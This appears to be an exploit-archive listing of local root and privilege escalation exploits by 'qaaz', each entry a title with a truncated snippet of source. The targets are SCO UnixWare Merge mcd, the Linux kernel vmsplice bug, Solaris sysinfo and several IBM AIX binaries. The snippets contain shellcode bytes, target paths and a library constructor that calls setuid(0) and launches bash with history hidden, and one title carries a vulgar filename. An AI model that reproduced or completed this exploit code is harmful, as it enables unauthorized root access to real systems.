SCO UnixWare Merge mcd Local Root Exploit

No description provided by source. / 04/2008: public release I have'nt seen any advisory on this; possibly still not fixed. SCO UnixWare Merge mcd Local Root Exploit By qaaz / include stdio.h include stdlib.h include string.h include unistd.h include errno.h include sys/stat.h...

SCO UnixWare Merge - mcd Local Privilege Escalation

SCO UnixWare Merge - mcd Local Privilege Escalation / 04/2008: public release I have'nt seen any advisory on this; possibly still not fixed. SCO UnixWare Merge mcd Local Root Exploit By qaaz / include include include include include include define TARGET "/usr/lib/merge/mcd" define DIR...

Linux Kernel 2.6.23 2.6.24 - vmsplice Local Privilege Escalation (1)

Linux Kernel 2.6.23 2.6.24 - vmsplice Local Privilege Escalation 1 / dianelanefuckedhard.c Linux vmsplice Local Root Exploit By qaaz Linux 2.6.23 - 2.6.24 / define GNUSOURCE include include include include include include define TARGETPATTERN " sysvm86old" define TARGETSYSCALL 113 ifndef NRvmspli...

Solaris 10 (SPARCx86) - sysinfo Kernel Memory Disclosure

Solaris 10 SPARCx86 - sysinfo Kernel Memory Disclosure / 07/2006: public release SPARC Solaris 10 without 118833-09 x86 Solaris 10 without 118855-06 Solaris sysinfo Kernel Memory Disclosure By qaaz / include include include include include include define PAGECOUNT 1000 int mainint argc, char argv...

aix53-ftp.txt

/ 07/2007: public release qaaz@aix:$ ./aix-ftp ---------------------------- AIX ftp Local Root Exploit By qaaz ---------------------------- bash: no job control in this shell bash-3.00 / include include include include include include define TARGET "/usr/bin/ftp" define OVERLEN 300 define MAXx,y ...

aix53-pioout.txt

!/bin/sh 07/2007: public release echo "-------------------------------" echo " AIX pioout Local Root Exploit " echo " By qaaz" echo "-------------------------------" cat piolib.c include void init attribute constructor; void init seteuid0; setuid0; putenv"HISTFILE=/dev/null"; execl"/bin/bash",...

IBM AIX <= 5.3 sp6 capture Terminal Sequence Local Root Exploit

No description provided by source. / 07/2007: public release IBM AIX = 5.3 sp6 AIX capture Local Root Exploit By qaaz / include stdio.h include stdlib.h include string.h include fcntl.h include unistd.h include sys/wait.h include sys/select.h define TARGET "/usr/bin/capture" define VALCNT 40 defi...

IBM AIX 5.3 SP6 - FTP 'gets()' Local Privilege Escalation

/ 07/2007: public release IBM AIX include include include include include define TARGET "/usr/bin/ftp" define OVERLEN 300 define MAXx,y x y ? x : y define ALIGNx,y x + y - 1 / y y unsigned char qaazcode = "\x60\x60\x60\x60\x60\x60\x60\x60" "\x7c\x63\x1a\x79\x40\x82\xff\xfd"...

IBM AIX 5.3 SP6 - Capture Terminal Sequence Privilege Escalation

/ 07/2007: public release IBM AIX include include include include include include define TARGET "/usr/bin/capture" define VALCNT 40 define MAXx,y x y ? x : y define ALIGNx,y x + y - 1 / y y unsigned char qaazcode = "\x60\x60\x60\x60\x60\x60\x60\x60" "\x7c\x63\x1a\x79\x40\x82\xff\xfd"...